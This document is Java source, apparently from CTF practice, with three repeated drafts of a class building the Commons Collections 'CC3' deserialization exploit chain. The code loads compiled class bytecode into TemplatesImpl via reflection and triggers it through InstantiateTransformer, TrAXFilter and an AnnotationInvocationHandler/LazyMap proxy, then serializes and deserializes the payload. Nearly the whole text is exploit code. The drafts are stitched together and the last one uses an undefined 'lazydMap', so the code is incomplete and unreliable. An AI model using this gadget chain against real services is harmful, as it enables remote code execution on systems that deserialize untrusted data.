public class cc3 { public static void main(String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl(); Class tc=templates.getClass(); Field nameFiled=tc.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[]code= Files.readAllBytes(Paths.get("F:\\CTF\\Java\\CC\\target\\classes\\Test.class"));
byte[][]codes={code}; bytecodesField.set(templates,codes); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); templates.newTransformer();
templates.newTransformer(); Transformer[] transformers; transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null), }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); // chainedTransformer.transform(1); // InstantiateTransformer instantiateTransformer= new InstantiateTransformer(new Class[]{TemplatesImpl.class},new Object[]{}); // instantiateTransformer.transform(TrAXFilter.class);
public class cc3 { public static void main(String[] args)throws Exception { TemplatesImpl templates=new TemplatesImpl(); Class c=templates.getClass(); Field nameFiled=c.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaaa"); Field bytecodesField=c.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[]code= Files.readAllBytes(Paths.get("F:\\CTF\\Java\\CC\\target\\classes\\Test.class"));
byte[][]codes={code}; bytecodesField.set(templates,codes); Field tfactoryField=c.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); templates.newTransformer();
templates.newTransformer();
} public static void serialize(Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); }
//反序列化方法 public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } }
public class cc3 { public static void main(String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl(); Class tc=templates.getClass(); Field nameFiled=tc.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[]code= Files.readAllBytes(Paths.get("F:/CTF/Java/CC/target/classes/Test.class"));
byte[][]codes={code}; bytecodesField.set(templates,codes); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); // templates.newTransformer(); InstantiateTransformer instantiateTransformer= new InstantiateTransformer(new Class[]{TemplatesImpl.class},new Object[]{}); Transformer[] transformers; transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InvokerTransformer("newTransformer",null,null), instantiateTransformer }; // templates.newTransformer(); ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); // chainedTransformer.transform(1);
Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true); InvocationHandler h =(InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class,lazydMap); Map mapProxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object o =annotationInvocationhdlConstructor.newInstance(Override.class,mapProxy); serialize(o); unserialize("ser.bin");
} public static void serialize(Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); }
//反序列化方法 public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } }